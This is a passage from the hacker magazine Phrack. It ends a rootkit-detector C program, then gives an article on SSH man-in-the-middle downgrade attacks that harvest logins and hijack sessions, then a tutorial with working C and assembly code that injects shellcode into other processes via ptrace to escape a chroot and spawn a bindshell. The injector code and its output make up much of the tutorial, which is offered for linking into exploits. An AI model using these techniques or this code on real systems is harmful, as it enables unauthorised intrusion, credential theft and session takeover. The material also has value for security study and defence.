#define PF_MAGIC "patchfinder"

#define M_GENTTBL 1

#define M_CHECK 2

#define MAX_TESTS 9

#define TESTNAMESZ 32

#define WARN_THRESHOLD 20

#define ALERT_THRESHHOLD 500

#define TRIES_DEFAULT 200

typedef struct {

int t;

double ft;

char name[TESTNAMESZ];

int (*test_func)();

} TTEST;

typedef struct {

char magic[sizeof(PF_MAGIC)];

TTEST test [MAX_TESTS];

int ntests;

int tries;

} TTBL;

#endif

<‑‑> ./patchfinder/main.h

<++> ./patchfinder/main.c

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <fcntl.h>

#include <sched.h>

#include "main.h"

#include "libpf.h"

void die (char *str) {

if (errno) perror (str);

else printf ("%s\n", str);

exit (1);

}

void usage () {

printf ("(c) Jan K. Rutkowski, 2002\n");

printf ("email: jkrutkowski@elka.pw.edu.pl\n");

printf ("%s [OPTIONS] <filename>\n", PROG_NAME);

printf (" ‑g save current system's characteristics to file\n"); printf (" ‑c check system against saved results\n");

printf (" ‑t change number of iterations per each test\n"); exit (0);

}

void write_ttbl (TTBL* ttbl, char *filename) {

int fd;

fd = open (filename, O_WRONLY | O_CREAT);

if (fd < 0) die ("can not create file");

strcpy (ttbl‑>magic, PF_MAGIC);

if (write (fd, ttbl, sizeof (TTBL)) < 0)

die ("can not write to file");

close (fd);

}

void read_ttbl (TTBL* ttbl, char *filename) {

int fd;

fd = open (filename, O_RDONLY);

if (fd < 0) die ("can not open file");

if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL))

die ("can not read file");

if (strncmp(ttbl‑>magic, PF_MAGIC, sizeof (PF_MAGIC)))

die ("bad file format\n");

close (fd);

}

main (int argc, char **argv) {

TTBL current, clear;

int tries = 0, mode = 0;

int opt, max_prio, i, j, T1, T2, dt;

char *ttbl_file;

struct sched_param sched_p;

while ((opt = getopt (argc, argv, "hg:c:t:")) != ‑1)

switch (opt) {

case 'g':

mode = M_GENTTBL;

ttbl_file = optarg;

break;

case 'c':

ttbl_file = optarg;

mode = M_CHECK;

break;

case 't':

tries = atoi (optarg);

break;

case 'h':

default :

usage();

}

if (getuid() != 0)

die ("For some reasons you have to be root");

if (!mode) usage();

if (patchfinder (PF_QUERY) != PF_ANSWER) {

printf (

"\n‑‑‑== ALERT! ==‑‑\n"

"It seems that module %s is not loaded. "

"However if you are\nsure that it is loaded," "then this situation means that with your\n" "kernel is something wrong! Probably there is " "a rootkit installed!\n", MODULE_NAME);

exit (1);

}

current.tries = (tries) ? tries : TRIES_DEFAULT;

if (mode == M_CHECK) {

read_ttbl (&clear, ttbl_file);

current.tries = (tries) ? tries : clear.tries;

}

max_prio = sched_get_priority_max (SCHED_FIFO); sched_p.sched_priority = max_prio;

if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0)

die ("Setting realtime policy\n");

fprintf (stderr, "* FIFO scheduling policy has been set.\n");

generate_ttbl (&current);

sched_p.sched_priority = 0;

if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0)

die ("Dropping realtime policy\n");

fprintf (stderr, "* dropping realtime schedulng policy.\n\n");

if (mode == M_GENTTBL) {

write_ttbl (&current, ttbl_file);

exit (0);

}

printf (

" test name | current | clear | diff | status \n"); printf (

"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

for (i = 0; i < current.ntests; i++) {

if (strncmp (current.test[i].name,

clear.test[i].name, TESTNAMESZ))

die ("ttbl entry name mismatch");

T1 = current.test[i].t;

T2 = clear.test[i].t;

dt = T1 ‑ T2;

printf ("%‑18s | %7d| %7d|%7d|",

current.test[i].name, T1, T2, dt);

dt = abs (dt);

if (dt < WARN_THRESHOLD) printf (" ok ");

if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD)

printf (" (?) ");

if (dt >= ALERT_THRESHHOLD) printf (" ALERT!");

printf ("\n");

}

}

<‑‑> ./patchfinder/main.c

<++> ./patchfinder/tests.c

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <linux/unistd.h>

#include <assert.h>

#include "libpf.h"

#include "main.h"

int test_open_file () {

int tmpfd, T = 0;

patchfinder (PF_START);

tmpfd = open ("/etc/passwd", 0, 0);

T = patchfinder (PF_GET);

close (tmpfd);

return T;

}

int test_stat_file () {

int T = 0;

char buf[0x100];/* we dont include sys/stat.h */

patchfinder (PF_START);

stat ("/etc/passwd", &buf);

T = patchfinder (PF_GET);

return T;

}

int test_read_file () {

int fd, T = 0;

char buf[0x100];

fd = open ("/etc/passwd", 0, 0);

if (fd < 0) die ("open");

patchfinder (PF_START);

read (fd, buf , sizeof(buf));

T = patchfinder (PF_GET);

close (fd);

return T;

}

int test_open_kmem () {

int tmpfd;

int T = 0;

patchfinder (PF_START);

tmpfd = open ("/dev/kmem", 0, 0);

T = patchfinder (PF_GET);

close (tmpfd);

return T;

}

_syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count) int test_readdir_root () {

int fd, T = 0;

struct dirent de[1];

fd = open ("/", 0, 0);

if (fd < 0) die ("open");

patchfinder (PF_START);

getdents (fd, de, sizeof (de));

T = patchfinder (PF_GET);

close (fd);

return T;

}

int test_readdir_proc () {

int fd, T = 0;

struct dirent de[1];

fd = open ("/proc", 0, 0);

if (fd < 0) die ("open");

patchfinder (PF_START);

getdents (fd, de, sizeof (de));

T = patchfinder (PF_GET);

close (fd);

return T;

}

int test_read_proc_net_tcp () {

int fd, T = 0;

char buf[32];

fd = open ("/proc/net/tcp", 0, 0);

if (fd < 0) die ("open");

patchfinder (PF_START);

read (fd, buf , sizeof(buf));

T = patchfinder (PF_GET);

close (fd);

return T;

}

int test_lseek_kmem () {

int fd, T = 0;

fd = open ("/dev/kmem", 0, 0);

if (fd <0) die ("open");

patchfinder (PF_START);

lseek (fd, 0xc0100000, 0);

T = patchfinder (PF_GET);

close (fd);

return T;

}

int test_read_kmem () {

int fd, T = 0;

char buf[256];

fd = open ("/dev/kmem", 0, 0);

if (fd < 0) die ("open");

lseek (fd, 0xc0100000, 0);

patchfinder (PF_START);

read (fd, buf , sizeof(buf));

T = patchfinder (PF_GET);

close (fd);

return T;

}

int generate_ttbl (TTBL *ttbl) {

int i = 0, t;

#define set_test(testname) {\

ttbl‑>test[i].test_func = test_##testname;\

strcpy (ttbl‑>test[i].name, #testname);\ ttbl‑>test[i].t = 0;\

ttbl‑>test[i].ft = 0;\

i++;\

}

set_test(open_file)

set_test(stat_file)

set_test(read_file)

set_test(open_kmem)

set_test(readdir_root)

set_test(readdir_proc)

set_test(read_proc_net_tcp)

set_test(lseek_kmem)

set_test(read_kmem)

assert (i <= MAX_TESTS);

ttbl‑>ntests = i;

#undef set_test

fprintf (stderr, "* each test will take %d iteration\n", ttbl‑>tries);

usleep (100000);

for (i = 0; i < ttbl‑>ntests; i++) {

for (t = 0; t < ttbl‑>tries; t++)

ttbl‑>test [i].ft += (double)ttbl‑>test[i].test_func();

fprintf (stderr, "* testing... %d%%\r", i*100/ttbl‑>ntests);

usleep (10000);

}

for (i = 0; i < ttbl‑>ntests; i++)

ttbl‑>test [i].t =

(int) (ttbl‑>test[i].ft/(double)ttbl‑>tries);

fprintf (stderr, "\r* testing... done.\n");

return i;

}

<‑‑> ./patchfinder/tests.c

<++> ./patchfinder/libpf.h

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#ifndef __LIBPF_H

#define __LIBPF_H

#include "module.h"

int patchfinder(int what);

#endif

<‑‑> ./patchfinder/libpf.h

<++> ./patchfinder/libpf.c

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#include <asm/unistd.h>

#include <errno.h>

#include "libpf.h"

_syscall1(int, patchfinder, int, what)

<‑‑> ./patchfinder/libpf.c

Cuts like a knife, SSHarp

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ It cuts like a knife. SSHarp. ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ stealth <stealth@segfault.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

‑ Intoduction

1 ‑ Playing with the banner

2 ‑ Playing with the keys

3 ‑ Countermeasures

4 ‑ An Implementation

5 ‑ Discussion

6 ‑ Acknowledgments

7 ‑ References

‑‑[ Introduction

The Secure Shell (SSH) protocol which itself is considered strong is often weakly implemented. Especially the SSH1/SSH2 interoperability as implemented in most SSH clients suffers from certain weak points as described below. Additionally the SSH2 protocol itself is also flexible enough to contain some interesting parts for attackers.

For disclaimer see the pdf‑version of this article available [here].

The described mim‑program will be made available one week after releasing this article to give vendors time for fixes (which are rather trivial) to limit the possibility of abuse.

In this article I will describe how SSH clients can be tricked into thinking they are missing the host‑key for the host they connected to even though they already have it in their list of known hosts. This is possible due to some points in the SSH drafts which makes life of SSH developers harder but which was ment to offer special protection or more flexibility.

I assume you have a basic understanding of how SSH works. However it is not necessary to understand it all in detail because the attacks succeeds in the handshake where only a few packets have been exchanged. I also assume you are familiar with the common attacking scenarios in networks like Man in the Middle attacks, hijacking attacks against plaintext protocols, replay attacks and so on.

‑‑[ 1 ‑ Playing with the banner

The SSH draft demands that both, client and server, exchange a banner before negotiating the key used for encrypting the communication channel. This is indeed needed for both sides to see which version of the protocol they have to speak. A banner commonly looks like

SSH‑1.99‑OpenSSH_2.2.0p1

A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me". This is due to the "1" after the dash, the so called remote major version. It allows the client to choose SSH1 for key negotiation and further encryption. However it is also possible for the client to continue with SSH2 packets as the "99" tells him which is also called the remote minor version. (It is a convention that a remote‑minor version of 99 with a remote‑major version of 1 means both protocols.)

Depending on the clients configuration files and command‑line options he decides to choose one of both protocols. Assuming the user does not force a protocol with either of the "‑1" or "‑2" switch most clients should behave the same way. This is due to the configuration files which do not differ that much across the various SSH vendors and often contain the line

Protocol 1,2

which makes the client choose SSH protocol version 1. It is obvious what follows now. Since the SSH client used to use SSH1 to talk to the server it is likely that he never spoke SSH2 before. This may be exploited by attackers to prompt a banner like

SSH‑2.00‑TESO‑SSH

to the client. The client looks up his database of known hosts and misses the host‑key because it only finds the SSH1 key of the server which does not help much because according to the banner he is not allowed to speak SSH1 anymore (since the remote major version number is 2). Instead of presenting a warning like

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man‑in‑the‑middle attack)! It is also possible that the RSA1 host key has just been changed. The fingerprint for the RSA1 key sent by the remote host is f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f.

Please contact your system administrator.

if someone tries MiM attacks against it without the banner‑hack, it asks the user to just accept the new key:

Enabling compatibility mode for protocol 2.0

The authenticity of host 'lucifer (192.168.0.2)' can't be established. DSA key fingerprint is ab:8a:18:15:67:04:18:34:ec:c9:ee:9b:89:b0:da:e6. Are you sure you want to continue connecting (yes/no)?

It is much easier now for the user to type "yes" instead of editing the known_hosts file and restarting the SSH client. Once accepted, the attackers SSH server would record the login and password and would forward the SSH connection so the user does not notice his account was just compromised.

The described attack is not just an upgrade attack. It also works to downgrade SSH2 speaking clients to SSH1. If the banner would contain "2.0" the client only spoke SSH2 to the original server and usually can not know the SSH1 key of the server because he does not speak SSH1 at all. However our MiM server speaks SSH1 and prompts the client once again with a key he cannot know.

This attack will not work for clients which just support one protocol (likely to be SSH1) because they only implement one of them. These clients should be very seldom and most if not all SSH clients support both versions, indeed it is even a marketing‑pusher to support both versions.

If the client uses RSA authentication there is no way for the attacker to get in between since he cannot use the RSA challenges presented to him by the server because he is talking a different protocol to the client. In other words, the attacker is never speaking the same version of the protocol to both parties and thus cannot forward or intercept RSA authentication.

A sample MiM program (ssharp) which mounts the banner‑hack and records logins can be found at [ssharp].

‑‑[ 2 ‑ Playing with the keys

It would be nice to have a similar attack against SSH without a version switch. This is because the version switch makes it impossible to break the RSA authentication.

Reading the SSH2 draft shows that SSH2 does not use the host‑key for encryption anymore (as with SSH1 where the host and server‑key was sent to the client which sent back the session‑key encrypted with these keys). Instead the client obtains the host‑key to check whether any of the exchanged packets have been tampered with by comparing the server sent MAC (Message Authentication Code; the server computes a hash of the packets exchanged and signs it using the negotiated algorithm) with his own computed hash. The SSH2 draft is flexible enough to offer more than just one static algorithm to allow MAC computation. Rather it specifies that during key exchange the client and the server exchange a list of preferred algorithms they use to ensure packet integrity. Commonly DSA and RSA are used:

stealth@liane:~> telnet 192.168.0.2 22

Trying 192.168.0.2...

Connected to 192.168.0.2.

Escape character is '^]'.

SSH‑1.99‑OpenSSH_2.2.0p1

SSH‑2.0‑client `$es??%9?2?4D=?)??ydiffie‑hellman‑group1‑sha1ssh‑dss...

I deleted a lot of characters and replaced it with "..." because the interesting part is the "ssh‑dss" which denotes the servers favorite algorithm used for MAC computation. Clients connecting to 192.168.0.2 cannot have a RSA key for computation because the server does not have one! Of course the attackers MiM program has a RSA key and offers only RSA to ensure integrity:

stealth@liane:~> telnet 192.168.0.2 22

Trying 192.168.0.2...

Connected to 192.168.0.2.

Escape character is '^]'.

SSH‑2.0‑OpenSSH_2.9p1

SSH‑2.0‑client

at s?eu??>vM??E=diffie‑hellman‑group‑exchange‑sha1, diffie‑hellman‑group1‑sha1ssh‑rsa...

A SSH client connecting to our MiM server will once again prompt the user to accept the new key instead of issuing the MiM warning.

The MiM server connected to the original server and got to know that he is using DSA. He then decided to face the user with a RSA key. If the original server offers DSA and RSA the MiM server will wait until the client sends his preferred algorithms and will choose an algorithm the client is naming for his second choice. A RFC compliant SSH2 server has to choose the first algorithm he is supporting from the client list, our MiM server will choose the next one and thus produces a key‑miss on client‑side. This will again produce a yes/no prompt instead of the warning message. "ssharp" also supports this key‑hack mode.

‑‑[ 3 ‑ Countermeasures

Having the RSA host‑key for a server offering a DSA host‑key means nothing for todays clients. They ignore the fact that they have a valid host‑key for that host but in a different key‑type. SSH clients should also issue the MiM warning if they find host‑keys for the server where either the version or type does not match. Its very likely someone in playing MiM games. In my eyes it is definitely a bug in the SSH client software.

‑‑[ 4 ‑ An Implementation

There already exist some MiM implementations for SSH1 such as [dsniff] or [ettercap]. Usually they understand the SSH protocol and put much effort into packet assembling and reassembling or forwarding. Things are much simpler. ssharp is based on a normal OpenSSH daemon which was modified to accept any login/password pair and starts a special shell for these connections: a SSH client which is given the username/password and the real destination IP. It logs into the remote host without user‑interaction and since it is bound to the mim servers pty it looks for the user like he enters his normal shell. This way it is not needed to mess with SSH1 or SSH2 protocol or to replace keys etc. We just play with the banner or the signature algorithm negotiation the way described above.

If compiled with USE_MSS option enabled, ssharp will slip the SSH client through a screen‑like session which allows attaching of third parties to existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out the legitimate user and completely take control over the session.

‑‑[ 5 ‑ Discussion

I know I know; a lot of people will ask "thats all?" now. As with every discovery plenty of folks will claim that this is "standard UNIX semantics" or it is feature and not a bug or that the vulnerability is completely Theo...cal. Neither of them is the case here, and the folks only looking for weaknesses in the crypto‑algorithms such as key‑stream‑reuse and possibilities to inject 2^64 ;‑) adaptive choosen plain‑texts will hopefully acknowledge that crypto‑analysis in 2002 welcomes laziness and misunderstanding of drafs on board. Laziness already broke Enigma, but next years will show how much impact it has when people are not able to completely understand protocols or put too much trust in crypto and do not think about the impact of violating the simple MUST in section 1.1.70.3.3.1.9.78. of the super‑crypto draft.

‑‑[ 6 ‑ Acknowledgments

Folks from the segfault dot net consortium ;‑) for discussing and offering test environments. If you like to donate some hardware or money to these folks let me know. It would definitely help to let continue research on this and similar topics.

Also thanks to various other folks for discussing SSH with me.

This article is also available [here] as pdf paper with some screen‑shots to demonstrate the power of ssharp.

‑‑[ 7. References

[dsniff] as far as I know the first SSH1 MiM implementation "monkey in the middle" part of dsniff package. http://www.monkey.org/~dugsong/dsniff

[ettercap] good sniffer/mim combo program for lazy hackers ;‑) http://ettercap.sourceforge.net

[ssharp] an implementation of the attacks described in this article http://stealth.7350.org/7350ssharp.tgz

[here] this article as pdf with screenshots http://stealth.7350.org/ssharp.pdf

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Building ptrace injecting shellcodes

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Building ptrace injecting shellcodes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous author <p59_0c@author.phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑[ Contents

1 ‑ Testing environment

2 ‑ Why we should do ptrace injecting shellcode ?

3 ‑ What does ptrace

3.1 ‑ Requirement

3.2 ‑ How does the library make the call

4 ‑ Injecting code in a process ‑ C code

4.1 ‑ The stack is our friend

4.2 ‑ Code to inject

4.3 ‑ Our first C code

5 ‑ First try to shellcodize it

5.1 When you need somebody to trace

5.2 Waiting (for love ?)

5.3 Registers where are you ?

5.4 Upload in progress

5.5 You'll be a man, my son.

6 ‑ References and greetings

‑‑‑[ 1 ‑ Testing environment

First of all, I've to set the rules for my playground. I used to test all these techniques under linux 2.4.18 i386 with executable stack. They may work under any linux releases, excepted the nonexec‑stack ones, due to the concept of the injection (On the stack).

By modifying a little bit these techniques it shoud be possible to exploit any OS on any architecture, as long they support the ptrace() system call.

‑‑‑[ 2 ‑ Why we should do ptrace injecting shellcode ?

Starting in some of the 2.4.x kernel series, linux chroot is no longer breakable by the good old well known method.(using chroot() tricks). The linux chroot now really restricts the VFS usage, and a root shell on a chrooted process may (theorically) be unusable for a cracker, except by modifying (by example on a FTP server) the ftp tree.

An uid of zero may allow the cracker to do some others things that are not restricted by the VFS on a standard 2.4 kernel :

‑ Changing some kernel parameters (time of day, etc...).

‑ Insert a kernel module (may be exploitable, but it is very hard to include a shellcode due to space restriction. It had been used in a wuftpd 2.5 exploit, by uploading a kernel backdoor and a staticaly linked insmod. That's way much complicated to do successfuly than our tricks. ) ‑ Somes VFS related thingies like using opens file descriptors. ‑ Debug any process on the system.

There is a huge vulnerability of the chroot system, which is corrected by some security patches available on the net. A root user in a chrooted env is still ptrace‑capable on any process on the system (except init, of course).

This technique is also generic (doesn't use open fd's, may be usable even on non root processes) and a chrooted apache may infect fingerd as an exemple.

Here comes the idea to create a ptrace shellcode. We may, with this shellcode, trace an unrestricted process and inject into it a second shellcode, which runs a bindshell in our example.

Here is what we want for this ptrace shellcode :

‑Relative small size (must be usable as a real shellcode). I saw in some exploits (like the 7350wu one) a little smaller shellcode doing a read (0,%esp,shellcode_len), and I thought it as a really "good‑idea (TM)" to inject a big shellcode. So this parameter is not so critical.

‑Must be runable more than once in a short laps of time.

If the first exploitation attempt failed (e.g. port already binded), the traced process must not crash. (in the wuftpd case, if we inject malicious code in inetd, it should let it listen for ftp connections)

‑The selection of the target process may be most of the time the parent process (inetd for a ftp server) which usually has full root access. We can also try all pid, starting from 2, until we find something traceable.

‑We can't lookup into /proc for any process to trace.

These rules can be fulfilled, and are enough for most exploitation cases, I think.

‑‑‑[ 3 ‑ What does ptrace

3.1 ‑ Requirement

You may know that the ptrace system call has been created for tracing and debugging process within usermode.

A process may be ptraced by only one process at a time, and only by a pid owned by the same user, or by root.

Under linux, ptrace commands are all implemented by the ptrace() function/syscall, with four parameters. The prototype is there : #include <sys/ptrace.h>

long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data)

'request' is a symbolic constant declared in sys/ptrace.h . We shall use those :

PTRACE_ATTACH :

Attach to the process pid.

PTRACE_DETACH :

ugh, Detach from the process pid. Never forget to do that, or your traced process will stay in stopped mode, which is unrecoverable remotely.

PTRACE_GETREGS :

This command copy the process registers into the struct pointed by data (addr is ignored). This structure is struct user_regs_struct defined as this, in asm/user.h :

struct user_regs_struct {

long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es;

unsigned short fs, __fs, gs, __gs;

long orig_eax, eip;

unsigned short cs, __cs;

long eflags, esp;

unsigned short ss, __ss;

};

PTRACE_SETREGS :

This command has the opposite meaning of PTRACE_GETREGS, with same arguments

PTRACE_POKETEXT :

This command copies 32 bits from the address pointed by data in the addr address of the traced process. This is equivalent to PTRACE_POKEDATA.

An important thing when you attach a pid is that you have to wait for the traced process to be stopped, and so have to wait for the SIGCHLD signal.

wait(NULL) does this perfectly (implemented in the shellcode by waitpid).

3.2 ‑ How does the library make the call

As we are writing asm code, we have to know how to call directly the ptrace system call. Little tests may show us the way the library uses to wrap the syscalls, and simply :

eax is SYS_ptrace (26 decimal)

ebx is request (e.g. PTRACE_ATTACH is 16)

ecx is pid

edx is addr

esi is data

in error case, ‑1 is stored in eax.

‑‑‑[ 4 ‑ Injecting code in a process ‑ C code

4.1 ‑ The stack is our friend

I've seen some injection mechanism used by some ptrace() exploits for linux, which injected a standard shellcode into the memory area pointed by %eip. That's the lazy way of doing injection, since the target process is screwed up and can't be used again. (crashes or doesn't fork) We have to find another way to execute our code in the target process. That's what I was thinking and I found this :

1‑ Get the current eip of the process, and the esp.

2‑ Decrement esp by four

3‑ Poke eip address at the esp address.

4‑ Inject the shellcode into esp ‑ 1024 address (Not directly before the space pointed by esp, because some shellcodes

use the push instruction)

5‑ Set register eip as the value of esp ‑ 1024

6‑ Invoke the SETREGS method of ptrace

7‑ Detach the process and let it open a root shell for you :)

The reason of non‑usability on systems with nonexec stack is that the shellcode is uploaded onto the stack. That's a /feature/, not a bug. I've heard of methods saving the memory context of the traced process, uploading shellcode, wait it to finish (usually after the fork) and then restoring the old state of the traced process.

That's a way, but I don't think it is really efficient because modern non‑exec patches also avoid ptracing of unrestricted processes. (At least grsec does that.)

The target stack may look as this :

[DOWN][program stack][old_eip][craps for 1024 bytes][shellcode][UP] ^> Original esp points here new eip<^ new<^>esp points here

Something important to do before the exploitation is to put two nops bytes before the shellcode. Reason is simple : if ptrace has interrupted a syscall being executed, the kernel will subtract two bytes from eip after the PTRACE_DETACH to restart the syscall.

4.2 ‑ Code to inject

The code to inject has to work peacefully with the stack we have set up for it : it may fork(), and let the original process continue its job. The new process may launch a bindshell !

Here's the code of s1.S , compilable with gcc :

/* all that part has to be done into the injected process */

/* in other word, this is the injected shellcode */

.globl injected_shellcode

injected_shellcode:

// ret location has been pushed previously

nop

nop

pusha // save before anything

xor %eax,%eax

mov $0x02,%al //sys_fork

int $0x80 //fork()

xor %ebx,%ebx

cmp %eax,%ebx // father or son ?

je son // I'm son

//here, I'm the father, I've to restore my previous state

father:

popa

ret /* return address has been pushed on the stack previously */

// code finished for father

son: /* standard shellcode, at your choice */

.string ""

local@darkside:~/dev/ptrace$ gcc ‑c s1.S

Explanations :

The first two nops are the nops I've discussed just before, because in my final shellcode I choose to decrement the destination buffer source address by two.

The pusha saves all the registers on the stack, so the process may restore them just after the fork. (I say eax and ebx)

If the return value of fork is zero, this is the son being executed. There we insert any style of shellcode.

If the return value is not zero (but a pid), restore the registers and the previously saved eip. The program may continue as if nothing has happened.

4.3 ‑ Our first C code

Lot of theory, now a little practical example. Here is a program which will fork, attach its son, inject it the code, let it run and after kill it. So, there is p2.c :

#include <stdio.h>

#include <sys/ptrace.h>

#include <linux/user.h>

#include <signal.h>

typedef long int pid_t;

void injected_shellcode();

char *hello_shellcode= "\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59" "\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34" "\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c" "\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;

/* Prints hello. What a deal ! */

char *shellcode;

int child(){

while(1){

write(2,".",1);

sleep(1);

}

return 0;

}

int father (pid_t pid){

int error;

int i=0;

int ptr;

int begin;

struct user_regs_struct data;

if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL)) perror("attach");

waitpid(pid,NULL,0); if(error=ptrace(PTRACE_GETREGS,pid,&data,&data)) perror("getregs");

printf("%%eip : 0x%.8lx\n",data.eip); printf("%%esp : 0x%.8lx\n",data.esp);

data.esp ‑= 4; ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip);

ptr=begin=data.esp‑1024;

printf("Inserting shellcode into %.8lx\n",begin); data.eip=(long)begin+2; ptrace(PTRACE_SETREGS,pid,&data,&data); while(i<strlen(shellcode)){ ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *) (shellcode+i));

i+=4;

ptr+=4;

}

ptrace (PTRACE_DETACH,pid,NULL,NULL);

return 0;

}

int main(int argc,char **argv){

pid_t pid=0;

if(argc>1)

pid=atoi(argv[1]);

shellcode=malloc( strlen((char*) injected_shellcode) + strlen(hello_shellcode) + 4); strcpy(shellcode,(char *) injected_shellcode); strcat(shellcode,(char *) hello_shellcode); printf("p2 : trying to launch shellcode on forked process\n"); if(pid==0)

pid=fork();

if (pid){

printf("I'm the father\n"); sleep(2);

father(pid);

sleep(2);

kill(pid,9);

wait(NULL);

}else{

printf("I'm the child\n"); child();

}

return 0;

}

Compile all that with gcc ‑o p2 p2.c s1.S

and admire my cut & paste skillz

local@darkside:~/dev/ptrace$ ./p2

p2 : trying to launch shellcode on forked process

I'm the father

I'm the child

...%eip : 0x400c0a11

%esp : 0xbffff470

Inserting shellcode into bffff06c

.Hello,World !.

It really happened. the .... process forked and then printed "Hello, world!".

5 ‑ First try to shellcodize it

Before doing it, we have to remember our rules. I'll program it without really optimizing it in size (I let bighawk or pr1 do that) but designing with pre‑compiler conditional assemble.

gcc ‑DLONG for a very careful shellcode (checks etc...)

gcc ‑DSHORT for a very tiny shellcode (which does the minimum but unsafe).

So, if size really matters, we can exit(0) simply by jumping anywhere, or if size does not matter at all, we can make draconian tests.

I will use at&t syntax, compilable with gcc.

If you don't like it, a good (and big) awk script may do the trick.

5.1 When you need some body to trace

A basic approach is first to set the stack pointer to a high value. We can't be certain that the stack pointer is not less than current eip (in the case of a stack based overflow).

The easier (and laziest) way to do this is to set esp to 0xbffffe04. This esp value works on nearly all linux/x86 boxes I've seen, and is near the stack bottom, but not too much, and doesn't contain a zero. Then, we get the ppid process with the getppid() syscall. Next, first try to attach it.

If the attach fails, 99% chances are that the ppid is init.

In this case, we increment the pid until we can attach something. (Warning, debugging this part of code is not easy at all. When you trace a process, you become its ppid. In this case, the shellcode will attach your debugger and a mutual deadlock will appear. Who told "A cool/good anti‑debugger technique ?")

So I included a test for the DEBUG_PID preprocessor variable. Put there whatever pid you want to inject something in.

Note that the pid is put on the stack, at the 12(%ebp) place. That's useful because we will need it in nearly all system calls.

5.2 Waiting (for love ?)

Now, little shellcode has to wait for its child. There are two ways of doing this :

‑ waitpid(pid,NULL,NULL);

‑ big big loop;

As I didn't success to make a reasonably short (in time) loop smaller in size than the syscall, the code contains only the system call.

5.3 Registers where are you ?

The target process is ready to be modified, but the first thing to do with it is to extract the registers.

The ebp register is saved into esi, and then esi is incremented by 16. It will be the "data" argument of the ptrace call.

So, after the syscall, target registers are beginning at 16(%ebp). Interesting registers are :

esp : 76(%ebp)

eip : 64(%ebp)

The register tricks I have described before are in the shellcode source, but are not so complicated, including the "push"‑like instruction to push the old eip address.

5.4 Upload in progress

"Uploading" the shellcode, or injecting it in the target process, is just a little loop. The shellcode itself is not really clear because the loop counter used is esp.

We set esp with the value specified in macro SHELLCODELEN. In edi, we set the memory address of the injected shellcode in the current process. Edx contains the target address, previously decremented of two conforming to our first note about this.

As after the interrupt call, eax must be zero, we can safely use it to test if esp reached the final state.

5.5 You'll be a man, my son.

We can safely detach the process now. If we forget to detach (laziness or simply spaceless) the process will remain in interrupted state, which needs a SIGCONT to launch our bindshell.

After this hard work, shellcode can exit, simply by the exit() syscall which usually doesn't alarm inetd or such and doesn't create any alarming note in syslog. (for the cute version, "ret" may be enough to segfault and so close the process.)

The bindshell I included binds port 0x4141. Remember that two fast executions of the shellcode may block the port 0x4141 for minutes. That was quite annoying while coding this.

The shellcode hasn't been optimized in size yet.

You can compile the attached code with

gcc ‑DLONG ‑c ‑o injector.o injector.S

and linking it with your favourite exploit. Code is 100% null‑chars free. I didn't look for newlines, carriage returns, spaces, percents, 0xff, etc...

‑‑‑[ 6 ‑ References and greetings

Man page of ptrace() is cool, lucid, informative, and so on.

Intel documentation book 2 : the instructions was an useful book full of 1‑byte‑instructions‑which‑does‑everything.

